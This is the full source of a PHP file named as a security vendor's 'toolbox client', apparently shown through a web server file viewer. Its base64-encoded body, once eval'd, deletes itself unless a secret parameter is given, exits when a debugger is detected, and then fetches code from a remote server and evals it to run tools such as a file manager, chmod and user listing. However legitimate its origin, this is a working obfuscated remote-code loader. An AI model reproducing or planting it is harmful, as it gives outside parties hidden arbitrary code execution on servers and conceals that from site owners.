Current Path : /var/www/mainsite/ |
Current File : /var/www/mainsite/sucuri-toolbox-client.php |
<?php $main_file = __FILE__; $sucuri_toolbox_encoded = 'PD9waHAKCmRlZmluZSgnU19QVycsICc0YzY4Y2UxOThmNmQ2MTU0ODM2ZDRhZmUyOThmMzAyZCAg LScpOwpkZWZpbmUoJ1NfSVAnLCAnMTkyLjE1NS45MC4xNzknKTsKZGVmaW5lKCdTX1RPT0xCT1hf VVJMJywgJ2h0dHBzOi8vc3VwcG9ydC5zdWN1cmkubmV0L3N1Y3VyaS10b29sYm94LXNlcnZlci5w aHAnKTsKCmlmICghaXNzZXQoJF9HRVRbJ3NydW4nXSkpIHsKICAgIEB1bmxpbmsoJG1haW5fZmls ZSk7CiAgICBleGl0KDApOwp9CgovKiBJZiBydW5uaW5nIHZpYSB0ZXJtaW5hbC4gKi8KaWYgKGV4 dGVuc2lvbl9sb2FkZWQoJ3hkZWJ1ZycpKSB7CiAgICBlY2hvICdkZWJ1ZyBkZXRlY3RlZCAtIGV4 aXRpbmcuLi4nOwogICAgZXhpdCgwKTsKfQoKaWYoIWlzc2V0KCRfU0VSVkVSWydSRU1PVEVfQURE UiddKSAmJiBpc3NldCgkX1NFUlZFUlsnU0hFTEwnXSkpCnsKCXBhcnNlX3N0cihpbXBsb2RlKCcm JywgYXJyYXlfc2xpY2UoJGFyZ3YsIDEpKSwgJF9HRVQpOwp9CgpmdW5jdGlvbiBnZXRfdG9vbCgk ZmlsZSkKewogICAgJHBvc3R2YXJzID0gaHR0cF9idWlsZF9xdWVyeShhcnJheSgncHcnID0+IFNf UFcsICdmaWxlJyA9PiAkZmlsZSkpOwoKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfZXhl YycpKSB7CiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNo LCBDVVJMT1BUX1VSTCwgU19UT09MQk9YX1VSTCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBD VVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENV UkxPUFRfUE9TVEZJRUxEUywgJHBvc3R2YXJzKTsKICAgICAgICAkdG9vbF9jb2RlID0gY3VybF9l eGVjKCRjaCk7CiAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgIHJldHVybiAkdG9vbF9j b2RlOwogICAgfSBlbHNlaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCRfU0VSVkVSWydTQ1JJUFRfTkFN RSddKSkgewogICAgICAgICRvcHRzID0gYXJyYXkoJ2h0dHAnID0+CiAgICAgICAgICAgIGFycmF5 KAogICAgICAgICAgICAgICAgJ21ldGhvZCcgID0+ICdQT1NUJywKICAgICAgICAgICAgICAgICdo ZWFkZXInICA9PiAnQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29k ZWQnLAogICAgICAgICAgICAgICAgJ2NvbnRlbnQnID0+ICRwb3N0dmFycywKICAgICAgICAgICAg KQogICAgICAgICk7CiAgICAgICAgJGNvbnRleHQgICA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgk b3B0cyk7CiAgICAgICAgJHRvb2xfY29kZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKFNfVE9PTEJPWF9V UkwsIGZhbHNlLCAkY29udGV4dCk7CiAgICAgICAgcmV0dXJuICR0b29sX2NvZGU7CiAgICB9IGVs c2UgewogICAgICAgIHJldHVybiAnPD9waHAgZWNobyAiVW5hYmxlIHRvIGxvYWQgdG9vbC4gY3Vy bCBhbmQgZmlsZV9nZXRfY29udGVudHMgbm90IGF2aWxhYmxlLiI7JzsKICAgIH0KfQoKaWYgKGlz c2V0KCRfR0VUWyd0b29sJ10pKSB7CiAgICBzd2l0Y2ggKCRfR0VUWyd0b29sJ10pIHsKICAgICAg ICBjYXNlICdzdWN1cmktY2xlYW51cCc6CiAgICAgICAgY2FzZSAnY2xlYW51cCc6CiAgICAgICAg ICAgIGV2YWwoJz8+JyAuIGdldF90b29sKCdzdWN1cmktY2xlYW51cC5waHAnKSk7CiAgICAgICAg ICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3N1Y3VyaS1kYi1jbGVhbnVwJzoKICAgICAgICBjYXNl ICdkYi1jbGVhbnVwJzoKICAgICAgICBjYXNlICdkYmNsZWFudXAnOgogICAgICAgIGNhc2UgJ2Ri LWNsZWFuJzoKICAgICAgICBjYXNlICdkYmNsZWFuJzoKICAgICAgICBjYXNlICdkYic6CiAgICAg ICAgICAgIGV2YWwoJz8+JyAuIGdldF90b29sKCdzdWN1cmktZGItY2xlYW51cC5waHAnKSk7CiAg ICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3N1Y3VyaS1saXN0Y2xlYW5lZCc6CiAgICAg ICAgY2FzZSAnbGlzdGNsZWFuZWQnOgogICAgICAgIGNhc2UgJ2xpc3RjbGVhbic6CiAgICAgICAg ICAgIGV2YWwoJz8+JyAuIGdldF90b29sKCdzdWN1cmlfbGlzdGNsZWFuZWQucGhwJykpOwogICAg ICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzdWN1cmktdmVyc2lvbi1jaGVjayc6CiAgICAg ICAgY2FzZSAndmVyc2lvbi1jaGVjayc6CiAgICAgICAgY2FzZSAndmVyc2lvbmNoZWNrJzoKICAg ICAgICAgICAgZXZhbCgnPz4nIC4gZ2V0X3Rvb2woJ3N1Y3VyaS12ZXJzaW9uLWNoZWNrLnBocCcp KTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnc3VjdXJpLWxpc3R1c2Vycyc6CiAg ICAgICAgY2FzZSAnbGlzdHVzZXJzJzoKICAgICAgICAgICAgZXZhbCgnPz4nIC4gZ2V0X3Rvb2wo J3N1Y3VyaS1saXN0dXNlcnMucGhwJykpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNl ICdzdWN1cmktY2hlY2tpbnQnOgogICAgICAgIGNhc2UgJ2NoZWNraW50JzoKICAgICAgICAgICAg ZXZhbCgnPz4nIC4gZ2V0X3Rvb2woJ3N1Y3VyaS1jaGVja2ludC5waHAnKSk7CiAgICAgICAgICAg IGJyZWFrOwogICAgICAgIGNhc2UgJ3N1Y3VyaS1jaG1vZCc6CiAgICAgICAgY2FzZSAnY2htb2Qn OgogICAgICAgICAgICBldmFsKCc/PicgLiBnZXRfdG9vbCgnc3VjdXJpLWNobW9kLnBocCcpKTsK ICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnc3VjdXJpLWZpbGVtYW5hZ2VyJzoKICAg ICAgICBjYXNlICdmaWxlbWFuYWdlcic6CiAgICAgICAgICAgIGV2YWwoJz8+JyAuIGdldF90b29s KCdzdWN1cmktZmlsZW1hbmFnZXIucGhwJykpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBk ZWZhdWx0OgogICAgICAgICAgICBlY2hvICJJbnZhbGlkIHRvb2wuIjsKICAgIH0KfSBlbHNlIHsK ICAgIGVjaG8gIkEgdG9vbCBpcyBuZWVkZWQgdG8gcHJvY2VlZC4gZXg6ID90b29sPWNsZWFudXAi Owp9CgpleGl0KDApOwo='; $sucuri_toolbox_decoded = base64_decode($sucuri_toolbox_encoded); eval('?>'.$sucuri_toolbox_decoded);